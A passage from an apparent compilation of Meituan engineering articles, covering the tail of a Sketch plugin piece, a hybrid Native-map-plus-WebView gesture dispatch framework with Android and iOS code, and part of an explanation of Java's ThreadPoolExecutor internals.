喘息。我们会继续以设计语言为依托，以 Skecth Plugin 为抓手持续进行 UI 一致性

建设，提高客户端 UI 业务中台能力。

可能对于一个前端工程师来说，对 React、Webpack 等配置可以信手拈来；对于一

个 iOS 工程师来说，XCode 调试、Objective-C 语法是开发前的基础；对于一个桌

面工程师来说，对 Electron、Hook 分析已司空见惯。可 Sketch Plugin 开发就是这
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么有趣，虽然只是一个小小的插件，但它会让你接触各个端的技术，提升技术视野，

但同样会让你在开发过程中遇到很多困难，曾经困扰了我好几天的一个 Webpack 问

题，部门同事帮我们联系了一个开发经验丰富的前端妹子去咨询，对方一行代码竟然

就解决了。做你害怕做的事，然后你会发现，不过如此。

目前，积木插件开发还处于较为初级的阶段，包括 Mach（外卖自研动态化框架）实

时预览、模板代码自动生成、自建插画库等功能已经在路上。除此之外，我们还规划

了很多激动人心的功能，需要制作更多精美的前端页面，需要更完善的后台管理。

这里加个广告吧！不管你是 FE、Android、iOS、后端，只要你对 Bug 毫不手软，

精益求精，都欢迎你加入我们外卖技术团队，跟我们一起完善 Sketch 插件生态，让

积木插件可以为更多业务场景提供服务，为用户提供卓越的体验。让我们一起用“积

木”拼出万千世界！

嗯，就先写到这里吧！ UI 团队同学说我们的实现和设计稿竟然差了一个像素，我们

要回去改 Bug 了。

致谢
特别感谢优秀的设计师昱翰、沛东、淼林、雪美，他们在插件开发过程中给予的帮助。
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Native 地图与Web融合技术的应用与实践

作者：加鹏　张斌　杨睿　邱博　海峰

1. 背景

美团打车业务很早就在美团 App 与点评 App 中提供了服务入口，并在技术上采用了

H5 与 Native 的混合开发技术。随着业务上线，有用户反馈我们的地图性能有一些问

题，原因是我们打车地图使用的是 Web 版的地图（通过腾讯地图 JavaScript API)，

业内同类产品使用的是 Native 版的地图 SDK，Native 地图相比 Web 地图具有天

然的性能优势，所以美团打车地图从首屏地图加载到后续的地图操作体验都有一定

差距。

问题和挑战

为了改善打车业务的地图体验，我们想到的方案是在展示地图的部分使用 Native 地

图，而非地图部分使用 H5 页面来显示，这样既能追平与竞品的地图性能差距，又能

充分发挥 H5 的开发效率。这种方案乍一看似乎是传统的 Hybrid 开发，没什么难度

与新奇。比如地图使用预先内置到 App 中的地图 SDK 实现，H5 与 Native 的交互

使用业界成熟的 JSBridge 技术。但从打车业务角度来看，因为打车业务有很多功能

入口需要漂浮在地图之上，如起终点卡片、用户中心入口等，这种漂浮功能在技术上

并不容易实现，而且还要保证用户触摸动作在漂浮元素与地图上发生时，分别派发给

各自的事件系统，Hybrid 技术在这方面没有经验可以借鉴。

带着这些挑战，我们进行一系列的尝试与试验，最终将问题解决并封装出我们打车

业务的地图调用框架，我们称之为 Native 地图与 Web 融合框架（下文简称融合框

架）。在这个过程中，我们总结出了一些经验，希望能给从事相关研究的同学带来一

些帮助。
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2. 调研

基于混合技术开发体系，我们研究了市面上大部分 H5 页面与 Native 地图的应用场

景，主要分为如下两类：

 ● H5 页面与 Native 地图分别是 2 个独立的页面：H5 业务逻辑用到地图时候，

通过交互技术打开一个新地图页面，在新页面内，Native 地图按照传入参数调

用对应地图组件，完成业务功能的展示。

H5 页面与 Native 地图位于同一页面内：两者将屏幕分割为两部分，如下图所示：

Native 地图位于上半部分，WebView H5 页面位于下半部分。
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经过分析后，我们发现这两种形式都无法满足打车业务场景的需求，因为目前市面上

主流的打车业务场景由 4 部分构成，如下图所示：

 ● 起终点选择面板：占据页面下半部分，可以上下滑动露出更多内容。

 ● 地图部分：页面上半部分，显示起终点、线路等地图要素信息。

 ● 更多菜单：左上角图标，点击后跳转到 H5 功能菜单页面。

 ● 广告入口：右上角图标，点击后跳转到 H5 运营页面。

上文第一类，H5 页面与 Native 地图分别位于两个独立页面中，只能满足部分地图场

景的需求，无法布局为上图 H5 与地图同框显示的效果。

上文第二类，实现这样的布局需要多个 WebView 才能实现，存在如下缺点：

 ● 下方 WebView 与上方 Native 地图是平级的组件，各占屏幕的一半，相互间

不存在压盖关系，实现起终点面板上下滑动效果困难。

 ● 左上角、右上角的更多菜单，广告入口位置需要新增 2 个 WebView 组件才能

实现覆盖在地图之上，WebView 组件再加载对应 H5 页面实现上述布局，整

个步骤比较繁琐。

多个 WebView 组件构成的页面布局，由于内存空间不共享，它们之间信息的同步比
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较困难，太多的 WebView 组件对系统性能也是一种浪费。

调研结论是：市面上现存技术都无法满足打车场景的需求。

全新方案的提出

基于打车场景的特殊性，我们做了一个大胆的假设：把页面分为 2 层，下层是 Native

地图层，布满屏幕；上层是 WebView 层，完全覆盖到 Native 地图层之上，如下图

所示：

我们期望的效果是：

 ● 点击 H5 元素时，点击事件会派发给 H5 WebView 容器处理。

 ● 点击地图区域时，点击事件会派发给 Native 地图组件处理。
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 ● H5 与 Native 地图间的信息交互，可采用成熟的 JSBridge 技术实现。

具体实现思路有如下几点，参照下图：

 ● Native 地图位于下层，WebView 置于 Native 地图之上，WebView 背景透

明，透过 WebView 可以看到下边的地图。红框区域是上层 WebView 打开的

H5 页面元素。

 ● 增加一个手势消息分发层，该层会智能判断手势事件落在 H5 元素还是地图

元素中。举例：点击红框区域，消息会传递到 WebView 层的 H5 逻辑处理，

点击红框之外的区域，消息会传递到 Native 地图层处理（地图移动、缩放等

操作）。

 ● H5 与 Native 地图交互使用 JSBridge 完成。比如在地图中添加一个 Marker，

H5 层业务逻辑发出添加 Marker 的消息，H5 层通过 JSBridge 技术将消息发

送到 Native 地图层，Native 地图收到消息后在地图中添加 Marker 元素。
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为了验证想法是否正确，我们首先通过 Android 平台开发出 Demo，验证这种分层

智能传递消息的做法是可行的，该方案最大优点是兼顾了 H5 的开发效率与 Native

地图的高性能特性，非常符合美团业务地图场景的需求。为了让想法落地时更规范、

更系统，我们进行了如下的框架设计。

3. 框架设计

3.1	热区数据介绍

先介绍一个“热区数据”的概念，下图（3.2 节）在手势分发层存在着消息分发热区

数据部分，下文简称热区数据。热区数据是针对上层 WebView 的一个概念，只对

WebView 层有效，对下层 Native 地图层无效。如果用户点击屏幕事件想让 H5 来捕

获处理，可以在屏幕区域内设置一个逻辑上的矩形区域，如：[0, 0, 50, 50]（上图左

上角区域），这个数据被称为热区数据。
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我们通过编写代码逻辑，控制手势消息分发的策略，如果手势消息发生在热区数据

矩形范围内，我们把消息发送给 WebView 处理，否则发送给 Native 地图处理。如

上图所示，可以在同一屏幕内设定多个热区，[0, 0, 50, 50]、[430, 0, 50, 50]、[0, 

200, 480, 200]，热区的格式可以自己定义，我们这里采用的基于 WebView 组件左

上角为原点的像素坐标格式：[left, top, width, height]。

3.2	框架图介绍

手势消息分发给WebView层流程

主要为上图 1–>2–>3–>4 过程，如下：

 ● 用户触摸动作首先被手势分发层捕获，手势分发层判断用户点击到热区数据范

围内，将消息分发到 WebView H5 层处理。

 ● WebView H5 层收到消息，对消息进行处理（比如：在地图中添加一个终点

Marker），通过通讯桥将消息传递到 Native 地图层。

 ● Native 地图层收到消息，并执行添加 Marker 操作，完成后返回成功信息。上

述总体流程为：手势分发层 –>1–>2–>3–>6–>7。
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手势消息分发给Native 地图层流程

主要为上图 5–>6–>7 过程，如下：

 ● 手势分发层捕获到消息，发现用户手势与当前热区数据矩形没有交集，于是将

获取的消息分发到 Native 地图层。

 ● 如果消息是拖动操作，则 Native 地图自动识别拖动地图消息，实现移动地图

的效果，涉及流程为：手势分发层 –>5。

 ● 如果消息是点击操作，比如我们想实现点击地图中的 Marker，将消息传递

给 H5 处理的功能。实现步骤为我们事先在添加 Marker 时增加一个点击事件

（Native 地图层实现），Marker 被点击时 Native 地图层会派发此事件，事件

消息会通过 JSBridge 技术从 Native 地图层传到 H5 层，最后 H5 层获取到点

击消息。整个操作流程为：手势分发层 –>5–>6–>7。

热区数据的动态更新策略

因为打车业务底部的面板高度是可伸缩的，所以底部的热区数据并不是静止不动的，

需要考虑热区数据也要随着 DOM 元素的拉伸做同步调整。可以通过在 WebView 

H5 层监控 DOM 的变化，DOM 元素发生变化时，获取变化后的 DOM 元素位置、

大小，格式化为热区数据，并更新到消息分发热区数据部分。因为拉伸动作是一个连

续的动画效果，为了高效，我们只在动画结束的那一刻更新热区数据，中间过渡期不

做处理。此整体流程为：2–>3–>4。

4. 点评 App 中的落地实践

4.1	手势分发层关键代码

这部分功能需要 Native 端同学实现，包括 iOS 与 Android。两端分别在启动 App

时设置三层内容，最上层是手势触摸事件接收层，中间是 WebView 层（背景设置透

明），最下层是 Native 地图层（如腾讯地图 SDK）。用数组记录当前热区数据，当手

势分发层有事件发生时，通过 Touch 事件获取手指位置信息，遍历热区数组判断手
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指位置是否与热区的矩形相交，如相交则将消息分发给 WebView 层，否则分发给

Native 层。下边是 Android 与 iOS 消息分发关键代码：

Android 分发层关键代码

@Override
public boolean dispatchTouchEvent(MotionEvent event){
  if(event.getAction() == MotionEvent.ACTION_DOWN) {
    // 分发层接收到手势触摸消息，通过 dispatchService类判断手势是否落在热区内，
从而确定消息分发的对象
    this.touchHandler = dispatchService.inRegion(event) ? TouchHandler.
WebView : TouchHandler.MapView;
  }
  // 分发给 Native地图层
  if(this.touchHandler == TouchHandler.MapView) {
    return this.mapView.dispatchTouchEvent(event);
  }
  // 分发给 WebView H5层
  return super.dispatchTouchEvent(event);
}

iOS 分发层关键代码

- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event {
   UIView *hitTestView = nil;
   // 分发层接收到手势触摸消息，通过 pointInHotspot判断手势是否落在热区内，从而确定
消息分发的对象
   if ([self pointInHotspot:point]) {
     // 分发给 WebView H5层
     hitTestView = [self.WebView hitTest:point withEvent:event];
   }else{
     // 分发给 Native地图层
     hitTestView = [self.mapView hitTest:point withEvent:event];
   }
   return hitTestView;
}

4.2	WebView	H5层

该层有 2 个功能：

 ● 提供设置热区的 JS 接口 setHotRegion，业务可通过此接口设置屏幕中的

热区。
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 ● 封装一层 JS 形式的地图接口，为上层业务提供地图服务，该层借助 JS-

Bridge 通讯桥实现 H5 与 Native 层的异步通讯。

4.3	通讯桥简介

通讯桥即 JSBridge 技术，主要实现 H5 与 Native 的信息交互，这方面的技术都已

比较成熟，业界有非常多的 JSBridge 实现，原理也都类似，常见的有：原生对象注

入到 H5 层、URL 拦截技术，Native 调用 JS 常用的内置函数 stringByEvaluat-

ingJavaScriptFromString 等。美团内部有比较成熟的 KNB 框架，所以项目中直接

使用了 KNB 框架。

4.4	Native 地图层

该层在地图 SDK（如腾讯地图 SDK）基础上进行了封装，提供一些打车业务友好的

接口，如地图基本操作、打车起终点 Marker 添加、接送驾司机小车动画、地图事

件、各种 Marker 的信息弹窗等。
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4.5	Dom元素热区数据的自动维护技术

打车业务前端的技术栈是 : Vue + VueX + Vue-Router 构建的单页系统。如下图所

示，页面中存在很多 H5 元素需要添加热区，逐个元素编写代码添加的话会很繁琐，

而且页面元素的位置、大小变化时还需要同步更新热区数据，这里我们使用了 Vue

中的 directive（指令）来解决了此问题。

以上左右 2 图是用户操作时页面展示的不同状态，很明显右图底部卡片变高了，卡片

变化同时需要同步更新对应的热区数据，directive 技术可以很方便解决此问题，原理

如下：
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 ● 在添加元素时，Vue 指令的 bind 钩子函数被触发，此时计算出弹窗元素的大

小和位置：使用 getBoundingClientRect 函数可以获取到元素的 left、top、

width、height 等信息，将新的热区数据通过 setHotRegion 函数更新到手势

分发层。

 ● 在移除元素时，unbind 钩子函数被触发，此时将热区数据移除，这样便实现

了热区的自动添加删除功能了。

 ● 使用指令技术很简捷，编写好指令的逻辑后注册到全局，在需要动态更新热区

的元素上设置个 v-hotRegion 标签就可以了。

4.6	调试工具及测试

调试工具使用模拟器、真机都可以，开发期间我们使用的模拟器开发，测试期间 QA 使用

真机验证。调试过程中主要验证 2 部分功能，分别是热区的验证与地图接口验证。

热区验证

主要验证主页面设置的热区是否正确，包括是否可以点击、底部卡片是否能正常拖

拉、业务功能是否正常等。因为热区数据是一串数字，形如：[0, 0, 50, 50]，无法直

观判断出该数据是否有误，于是我们开发了一个可视化工具，将设置热区的元素都用

红色矩形高亮显示，如下图所示，这样就能快速诊断出热区数据是否有异常。工具是

使用 Canvas 画布实现的，画布大小与屏幕大小完全重合，借助画布就可以将矩形热

区数据在屏幕中实时绘制出来。
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地图接口验证

主要是编写单元测试完成的，本项目封装了 50 多个地图接口，每个接口都编写单测

用例，观察入参、出参、控制台输出结果，地图展示效果是否正确等。测试主要在

iOS 模拟器中完成，这样方便在控制台打印一些调试信息进行诊断。

5. 上线效果

该框架在大众点评 App 中上线后地图体验明显提升，主要有体现在以下几个方面：

地图的操作体验，如地图移动、缩放明显好于 H5 地图，用户利用 Native 地图选择

起终点、下单叫车、接送驾小车动画效果更加流畅。
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首屏地图数据指标也有显著提升，如下表所示：

 ● 目前线上运行稳定，上线 2 月期间，Crash 数量为个位数，Crash 率远低于

0.1‰。

 ● 框架上线后，大众点评 App 中业务迭代可以按照 H5 节奏上线，实现随时发版

的开发效率。

Native 地图层代码接口稳定、功能丰富，基本满足地图场景的业务需求。只需首次

跟版发布，后续只需要迭代 H5 的业务逻辑即可。

6. 本文小结

本文将 WebView 与 Native 地图组件叠加到一起，实现了用户手势事件智能分发的

机制，解决了 WebView 与 Native 地图在同一页面内布局困难的问题。这种融合机

制为打车业务提升迭代效率同时保障地图体验提供了一种有效的途径，日常业务功能

上线采用 H5 技术迭代，Native 地图作为不常更新的基础能力首次发版时安装到用户

手机上，实现业务需求随时发版的能力，不再受各大应用商店的限制，用户操作地图

的体验也更加流畅。该融合框架适合以下业务场景：

业务中使用了地图功能，并对地图的加载、操作体验等有较高要求的业务。

业务属于 Hybrid 业务，并且 H5 页面与地图在同一页面内布局的功能。

如果你的业务是基于多个 WebView 与 Native 地图构建的系统，非常建议你了解下

此文章。
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Java 线程池实现原理及其在美团业务中的实践

作者：致远　陆晨

随着计算机行业的飞速发展，摩尔定律逐渐失效，多核 CPU 成为主流。使用多线

程并行计算逐渐成为开发人员提升服务器性能的基本武器。J.U.C 提供的线程池：

ThreadPoolExecutor 类，帮助开发人员管理线程并方便地执行并行任务。了解并合

理使用线程池，是一个开发人员必修的基本功。

本文开篇简述线程池概念和用途，接着结合线程池的源码，帮助读者领略线程池的设

计思路，最后回归实践，通过案例讲述使用线程池遇到的问题，并给出了一种动态化

线程池解决方案。

一、写在前面

1.1	线程池是什么

线程池（Thread Pool）是一种基于池化思想管理线程的工具，经常出现在多线程服

务器中，如 MySQL。

线程过多会带来额外的开销，其中包括创建销毁线程的开销、调度线程的开销等等，

同时也降低了计算机的整体性能。线程池维护多个线程，等待监督管理者分配可并发

执行的任务。这种做法，一方面避免了处理任务时创建销毁线程开销的代价，另一方

面避免了线程数量膨胀导致的过分调度问题，保证了对内核的充分利用。

而本文描述线程池是 JDK 中提供的 ThreadPoolExecutor 类。

后台
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当然，使用线程池可以带来一系列好处：

 ● 降低资源消耗：通过池化技术重复利用已创建的线程，降低线程创建和销毁造

成的损耗。

 ● 提高响应速度：任务到达时，无需等待线程创建即可立即执行。

 ● 提高线程的可管理性：线程是稀缺资源，如果无限制创建，不仅会消耗系统资

源，还会因为线程的不合理分布导致资源调度失衡，降低系统的稳定性。使用

线程池可以进行统一的分配、调优和监控。

 ● 提供更多更强大的功能：线程池具备可拓展性，允许开发人员向其中增加更多

的功能。比如延时定时线程池 ScheduledThreadPoolExecutor，就允许任

务延期执行或定期执行。

1.2	线程池解决的问题是什么

线程池解决的核心问题就是资源管理问题。在并发环境下，系统不能够确定在任意

时刻中，有多少任务需要执行，有多少资源需要投入。这种不确定性将带来以下若干

问题：

1. 频繁申请 / 销毁资源和调度资源，将带来额外的消耗，可能会非常巨大。

2. 对资源无限申请缺少抑制手段，易引发系统资源耗尽的风险。

3. 系统无法合理管理内部的资源分布，会降低系统的稳定性。

为解决资源分配这个问题，线程池采用了“池化”（Pooling）思想。池化，顾名思义，

是为了最大化收益并最小化风险，而将资源统一在一起管理的一种思想。

Pooling is the grouping together of resources (assets, equipment, personnel, 

effort, etc.) for the purposes of maximizing advantage or minimizing risk to 

the users. The term is used in finance, computing and equipment manage-

ment.——wikipedia

“池化”思想不仅仅能应用在计算机领域，在金融、设备、人员管理、工作管理等领

域也有相关的应用。
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在计算机领域中的表现为：统一管理 IT 资源，包括服务器、存储、和网络资源等等。

通过共享资源，使用户在低投入中获益。除去线程池，还有其他比较典型的几种使用

策略包括：

1. 内存池 (Memory Pooling)：预先申请内存，提升申请内存速度，减少内存

碎片。

2. 连接池 (Connection Pooling)：预先申请数据库连接，提升申请连接的速度，

降低系统的开销。

3. 实例池 (Object Pooling)：循环使用对象，减少资源在初始化和释放时的昂贵

损耗。

在了解完“是什么”和“为什么”之后，下面我们来一起深入一下线程池的内部实现

原理。

二、线程池核心设计与实现

在前文中，我们了解到：线程池是一种通过“池化”思想，帮助我们管理线程而获取

并发性的工具，在 Java 中的体现是 ThreadPoolExecutor 类。那么它的的详细设计

与实现是什么样的呢？我们会在本章进行详细介绍。

2.1	总体设计

Java 中的线程池核心实现类是 ThreadPoolExecutor，本章基于 JDK 1.8 的源码来

分析 Java 线程池的核心设计与实现。我们首先来看一下 ThreadPoolExecutor 的

UML 类图，了解下 ThreadPoolExecutor 的继承关系。
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图 1　ThreadPoolExecutor UML 类图

ThreadPoolExecutor 实 现 的 顶 层 接 口 是 Executor， 顶 层 接 口 Executor 提 供

了一种思想：将任务提交和任务执行进行解耦。用户无需关注如何创建线程，如

何调度线程来执行任务，用户只需提供 Runnable 对象，将任务的运行逻辑提交

到执行器 (Executor) 中，由 Executor 框架完成线程的调配和任务的执行部分。

ExecutorService 接口增加了一些能力：（1）扩充执行任务的能力，补充可以为一

个或一批异步任务生成 Future 的方法；（2）提供了管控线程池的方法，比如停止线

程池的运行。AbstractExecutorService 则是上层的抽象类，将执行任务的流程

串联了起来，保证下层的实现只需关注一个执行任务的方法即可。最下层的实现类

ThreadPoolExecutor 实现最复杂的运行部分，ThreadPoolExecutor 将会一方面

维护自身的生命周期，另一方面同时管理线程和任务，使两者良好的结合从而执行并

行任务。

ThreadPoolExecutor 是如何运行，如何同时维护线程和执行任务的呢？其运行机制

如下图所示：
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图 2　ThreadPoolExecutor 运行流程

线程池在内部实际上构建了一个生产者消费者模型，将线程和任务两者解耦，并不

直接关联，从而良好的缓冲任务，复用线程。线程池的运行主要分成两部分：任务管

理、线程管理。任务管理部分充当生产者的角色，当任务提交后，线程池会判断该任

务后续的流转：（1）直接申请线程执行该任务；（2）缓冲到队列中等待线程执行；（3）

拒绝该任务。线程管理部分是消费者，它们被统一维护在线程池内，根据任务请求进

行线程的分配，当线程执行完任务后则会继续获取新的任务去执行，最终当线程获取

不到任务的时候，线程就会被回收。

接下来，我们会按照以下三个部分去详细讲解线程池运行机制：

1. 线程池如何维护自身状态。

2. 线程池如何管理任务。

3. 线程池如何管理线程。

2.2	生命周期管理

线程池运行的状态，并不是用户显式设置的，而是伴随着线程池的运行，由内部来维

护。线程池内部使用一个变量维护两个值：运行状态 (runState) 和线程数量 (work-

erCount)。在具体实现中，线程池将运行状态 (runState)、线程数量 (workerCount)

两个关键参数的维护放在了一起，如下代码所示：
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private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));

ctl 这个 AtomicInteger 类型，是对线程池的运行状态和线程池中有效线程的数量

进行控制的一个字段， 它同时包含两部分的信息：线程池的运行状态 (runState) 和

线程池内有效线程的数量 (workerCount)，高 3 位保存 runState，低 29 位保存

workerCount，两个变量之间互不干扰。用一个变量去存储两个值，可避免在做相关

决策时，出现不一致的情况，不必为了维护两者的一致，而占用锁资源。通过阅读线

程池源代码也可以发现，经常出现要同时判断线程池运行状态和线程数量的情况。线

程池也提供了若干方法去供用户获得线程池当前的运行状态、线程个数。这里都使用

的是位运算的方式，相比于基本运算，速度也会快很多。

关于内部封装的获取生命周期状态、获取线程池线程数量的计算方法如以下代码

所示：

private static int runStateOf(int c)     { return c & ~CAPACITY; } //计
算当前运行状态
private static int workerCountOf(int c)  { return c & CAPACITY; }  //
计算当前线程数量
private static int ctlOf(int rs, int wc) { return rs | wc; }   //通过状
态和线程数生成 ctl

ThreadPoolExecutor 的运行状态有 5 种，分别为：

其生命周期转换如下入所示：
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图 3　线程池生命周期

2.3	任务执行机制

2.3.1	任务调度

任务调度是线程池的主要入口，当用户提交了一个任务，接下来这个任务将如何执行

都是由这个阶段决定的。了解这部分就相当于了解了线程池的核心运行机制。

首先，所有任务的调度都是由 execute 方法完成的，这部分完成的工作是：检查现在

线程池的运行状态、运行线程数、运行策略，决定接下来执行的流程，是直接申请线

程执行，或是缓冲到队列中执行，亦或是直接拒绝该任务。其执行过程如下：

1. 首先检测线程池运行状态，如果不是 RUNNING，则直接拒绝，线程池要保

证在 RUNNING 的状态下执行任务。

2. 如果 workerCount < corePoolSize，则创建并启动一个线程来执行新提

交的任务。

3. 如果 workerCount >= corePoolSize，且线程池内的阻塞队列未满，则将任

务添加到该阻塞队列中。

4. 如 果 workerCount >= corePoolSize && workerCount < maximum-

PoolSize，且线程池内的阻塞队列已满，则创建并启动一个线程来执行新提

交的任务。

5. 如果 workerCount >= maximumPoolSize，并且线程池内的阻塞队列已满 , 

则根据拒绝策略来处理该任务 , 默认的处理方式是直接抛异常。

其执行流程如下图所示：
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图 4　任务调度流程

2.3.2	任务缓冲

任务缓冲模块是线程池能够管理任务的核心部分。线程池的本质是对任务和线程的管

理，而做到这一点最关键的思想就是将任务和线程两者解耦，不让两者直接关联，才

可以做后续的分配工作。线程池中是以生产者消费者模式，通过一个阻塞队列来实现

的。阻塞队列缓存任务，工作线程从阻塞队列中获取任务。

阻塞队列 (BlockingQueue) 是一个支持两个附加操作的队列。这两个附加的操作是：

在队列为空时，获取元素的线程会等待队列变为非空。当队列满时，存储元素的线程

会等待队列可用。阻塞队列常用于生产者和消费者的场景，生产者是往队列里添加元

素的线程，消费者是从队列里拿元素的线程。阻塞队列就是生产者存放元素的容器，
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而消费者也只从容器里拿元素。

下图中展示了线程 1 往阻塞队列中添加元素，而线程 2 从阻塞队列中移除元素：

图 5　阻塞队列

使用不同的队列可以实现不一样的任务存取策略。在这里，我们可以再介绍下阻塞队

列的成员：

2.3.3	任务申请

由上文的任务分配部分可知，任务的执行有两种可能：一种是任务直接由新创建的线

程执行。另一种是线程从任务队列中获取任务然后执行，执行完任务的空闲线程会再

次去从队列中申请任务再去执行。第一种情况仅出现在线程初始创建的时候，第二种

是线程获取任务绝大多数的情况。

线程需要从任务缓存模块中不断地取任务执行，帮助线程从阻塞队列中获取任务，实



254　>　美团 2020 技术年货

现线程管理模块和任务管理模块之间的通信。这部分策略由 getTask 方法实现，其

执行流程如下图所示：

图 6　获取任务流程图

getTask 这部分进行了多次判断，为的是控制线程的数量，使其符合线程池的状

态。如果线程池现在不应该持有那么多线程，则会返回 null 值。工作线程 Worker

会不断接收新任务去执行，而当工作线程 Worker 接收不到任务的时候，就会开始

被回收。

2.3.4	任务拒绝

任务拒绝模块是线程池的保护部分，线程池有一个最大的容量，当线程池的任务缓存

队列已满，并且线程池中的线程数目达到 maximumPoolSize 时，就需要拒绝掉该
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任务，采取任务拒绝策略，保护线程池。

拒绝策略是一个接口，其设计如下：

public interface RejectedExecutionHandler {
    void rejectedExecution(Runnable r, ThreadPoolExecutor executor);
}

用户可以通过实现这个接口去定制拒绝策略，也可以选择 JDK 提供的四种已有拒绝

策略，其特点如下：

2.4	Worker 线程管理

2.4.1	Worker 线程

线程池为了掌握线程的状态并维护线程的生命周期，设计了线程池内的工作线程

Worker。我们来看一下它的部分代码：

private final class Worker extends AbstractQueuedSynchronizer 
implements Runnable{
    final Thread thread;//Worker持有的线程
    Runnable firstTask;//初始化的任务，可以为 null
}

Worker 这个工作线程，实现了 Runnable 接口，并持有一个线程 thread，一个初始

化的任务 firstTask。thread 是在调用构造方法时通过 ThreadFactory 来创建的线

程，可以用来执行任务；firstTask 用它来保存传入的第一个任务，这个任务可以有也

可以为 null。如果这个值是非空的，那么线程就会在启动初期立即执行这个任务，也
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就对应核心线程创建时的情况；如果这个值是 null，那么就需要创建一个线程去执行

任务列表（workQueue）中的任务，也就是非核心线程的创建。

Worker 执行任务的模型如下图所示：

图 7　Worker 执行任务

线程池需要管理线程的生命周期，需要在线程长时间不运行的时候进行回收。线程池

使用一张 Hash 表去持有线程的引用，这样可以通过添加引用、移除引用这样的操作

来控制线程的生命周期。这个时候重要的就是如何判断线程是否在运行。

 Worker 是通过继承 AQS，使用 AQS 来实现独占锁这个功能。没有使用可重入锁

ReentrantLock，而是使用 AQS，为的就是实现不可重入的特性去反应线程现在的

执行状态。

1. lock 方法一旦获取了独占锁，表示当前线程正在执行任务中。 

2. 如果正在执行任务，则不应该中断线程。 

3. 如果该线程现在不是独占锁的状态，也就是空闲的状态，说明它没有在处理任

务，这时可以对该线程进行中断。 

4. 线 程 池 在 执 行 shutdown 方 法 或 tryTerminate 方 法 时 会 调 用 interruptI-

dleWorkers 方 法 来 中 断 空 闲 的 线 程，interruptIdleWorkers 方 法 会 使 用

tryLock 方法来判断线程池中的线程是否是空闲状态；如果线程是空闲状态则

可以安全回收。
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在线程回收过程中就使用到了这种特性，回收过程如下图所示：

图 8　线程池回收过程

2.4.2	Worker 线程增加

增加线程是通过线程池中的 addWorker 方法，该方法的功能就是增加一个线程，

该方法不考虑线程池是在哪个阶段增加的该线程，这个分配线程的策略是在上个步

骤完成的，该步骤仅仅完成增加线程，并使它运行，最后返回是否成功这个结果。

addWorker 方法有两个参数：firstTask、core。firstTask 参数用于指定新增的线程

执行的第一个任务，该参数可以为空；core 参数为 true 表示在新增线程时会判断当

前活动线程数是否少于 corePoolSize，false 表示新增线程前需要判断当前活动线程

数是否少于 maximumPoolSize，其执行流程如下图所示：
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图 9　申请线程执行流程图

2.4.3	Worker 线程回收

线程池中线程的销毁依赖 JVM 自动的回收，线程池做的工作是根据当前线程池的状

态维护一定数量的线程引用，防止这部分线程被 JVM 回收，当线程池决定哪些线

程需要回收时，只需要将其引用消除即可。Worker 被创建出来后，就会不断地进

行轮询，然后获取任务去执行，核心线程可以无限等待获取任务，非核心线程要限
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时获取任务。当 Worker 无法获取到任务，也就是获取的任务为空时，循环会结束，

Worker 会主动消除自身在线程池内的引用。

try {
  while (task != null || (task = getTask()) != null) {
    //执行任务
  }
} finally {
  processWorkerExit(w, completedAbruptly);//获取不到任务时，主动回收自己
}

线程回收的工作是在 processWorkerExit 方法完成的。

图 10　线程销毁流程

事实上，在这个方法中，将线程引用移出线程池就已经结束了线程销毁的部分。但由

于引起线程销毁的可能性有很多，线程池还要判断是什么引发了这次销毁，是否要改

变线程池的现阶段状态，是否要根据新状态，重新分配线程。

2.4.4	Worker 线程执行任务

在 Worker 类中的 run 方法调用了 runWorker 方法来执行任务，runWorker 方法的

执行过程如下：

1. while 循环不断地通过 getTask() 方法获取任务。

2. getTask() 方法从阻塞队列中取任务。

3. 如果线程池正在停止，那么要保证当前线程是中断状态，否则要保证当前线程

不是中断状态。 

4. 执行任务。

5. 如果 getTask 结果为 null 则跳出循环，执行 processWorkerExit() 方法，销

毁线程。
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执行流程如下图所示：

图 11　执行任务流程
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三、线程池在业务中的实践

3.1	业务背景

在当今的互联网业界，为了最大程度利用 CPU 的多核性能，并行运算的能力是不可

或缺的。通过线程池管理线程获取并发性是一个非常基础的操作，让我们来看两个典

型的使用线程池获取并发性的场景。

场景 1：快速响应用户请求

描述：用户发起的实时请求，服务追求响应时间。比如说用户要查看一个商品的信

息，那么我们需要将商品维度的一系列信息如商品的价格、优惠、库存、图片等等聚

合起来，展示给用户。

分析：从用户体验角度看，这个结果响应的越快越好，如果一个页面半天都刷不出，

用户可能就放弃查看这个商品了。而面向用户的功能聚合通常非常复杂，伴随着调用

与调用之间的级联、多级级联等情况，业务开发同学往往会选择使用线程池这种简单

的方式，将调用封装成任务并行的执行，缩短总体响应时间。另外，使用线程池也是

有考量的，这种场景最重要的就是获取最大的响应速度去满足用户，所以应该不设置

队列去缓冲并发任务，调高 corePoolSize 和 maxPoolSize 去尽可能创造多的线程

快速执行任务。

图 12　并行执行任务提升任务响应速度
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场景 2：快速处理批量任务

描述：离线的大量计算任务，需要快速执行。比如说，统计某个报表，需要计算出全

国各个门店中有哪些商品有某种属性，用于后续营销策略的分析，那么我们需要查询

全国所有门店中的所有商品，并且记录具有某属性的商品，然后快速生成报表。

分析：这种场景需要执行大量的任务，我们也会希望任务执行的越快越好。这种情况

下，也应该使用多线程策略，并行计算。但与响应速度优先的场景区别在于，这类

场景任务量巨大，并不需要瞬时的完成，而是关注如何使用有限的资源，尽可能在

单位时间内处理更多的任务，也就是吞吐量优先的问题。所以应该设置队列去缓冲

并发任务，调整合适的 corePoolSize 去设置处理任务的线程数。在这里，设置的线

程数过多可能还会引发线程上下文切换频繁的问题，也会降低处理任务的速度，降低

吞吐量。

图 13　并行执行任务提升批量任务执行速度

3.2	实际问题及方案思考

线程池使用面临的核心的问题在于：线程池的参数并不好配置。一方面线程池的运行
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机制不是很好理解，配置合理需要强依赖开发人员的个人经验和知识；另一方面，线

程池执行的情况和任务类型相关性较大，IO 密集型和 CPU 密集型的任务运行起来的

情况差异非常大，这导致业界并没有一些成熟的经验策略帮助开发人员参考。

关于线程池配置不合理引发的故障，公司内部有较多记录，下面举一些例子：

Case1：2018 年 XX 页面展示接口大量调用降级：

事故描述：XX 页面展示接口产生大量调用降级，数量级在几十到上百。

事故原因：该服务展示接口内部逻辑使用线程池做并行计算，由于没有预估好调用的

流量，导致最大核心数设置偏小，大量抛出 RejectedExecutionException，触发接

口降级条件，示意图如下：

图 14　线程数核心设置过小引发 RejectExecutionException

Case2：2018 年 XX 业务服务不可用 S2 级故障

事故描述：XX 业务提供的服务执行时间过长，作为上游服务整体超时，大量下游服

务调用失败。

